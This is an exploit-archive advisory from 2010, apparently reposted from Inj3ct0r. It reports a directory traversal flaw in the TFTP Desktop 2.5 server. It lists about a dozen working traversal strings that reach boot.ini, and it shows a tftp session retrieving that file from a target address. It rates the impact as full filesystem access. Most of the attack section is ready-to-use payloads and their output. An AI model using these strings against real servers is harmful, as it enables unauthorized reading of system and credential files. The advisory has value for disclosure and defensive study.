TFTP Desktop 2.5 Directory Traversal Vulnerability
Posted on 01 September 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>TFTP Desktop 2.5 Directory Traversal Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================== TFTP Desktop 2.5 Directory Traversal Vulnerability ================================================== Author: chr1x (chr1x@sectester.net) Date: August 30, 2010 Affected operating system/software, including full version details TFTP Desktop version 2.5, Tested on Windows XP PRO SP3 Download: http://www.mynet2.com/soft/Software%20Archive/TFTP%20Server/tftp_desktop_free.exe How the vulnerability can be reproduced Attack strings below: [*] Testing Path: .../.../.../boot.ini <- Vulnerable string!! [*] Testing Path: .../.../.../.../boot.ini <- Vulnerable string!! [*] Testing Path: .../.../.../.../.../boot.ini <- Vulnerable string!! [*] Testing Path: .../.../.../.../.../.../boot.ini <- Vulnerable string!! [*] Testing Path: .../.../.../.../.../.../.../boot.ini <- Vulnerable string!! [*] Testing Path: .../.../.../.../.../.../.../.../boot.ini <- Vulnerable string!! [*] Testing Path: .........oot.ini <- Vulnerable string!! [*] Testing Path: ............oot.ini <- Vulnerable string!! [*] Testing Path: ...............oot.ini <- Vulnerable string!! [*] Testing Path: ..................oot.ini <- Vulnerable string!! [*] Testing Path: .....................oot.ini <- Vulnerable string!! [*] Testing Path: ........................oot.ini <- Vulnerable string!! Confirmation log: root@olovely:/# tftp tftp> connect (to) 192.168.1.53 tftp> ascii tftp> get (files) .../.../.../.../.../.../boot.ini Received 211 bytes in 0.0 seconds tftp> quit What impact the vulnerability has on the vulnerable system * High, since when exploiting the vulnerability the attacker is able to get full access to the victim filesystem. # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-01]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
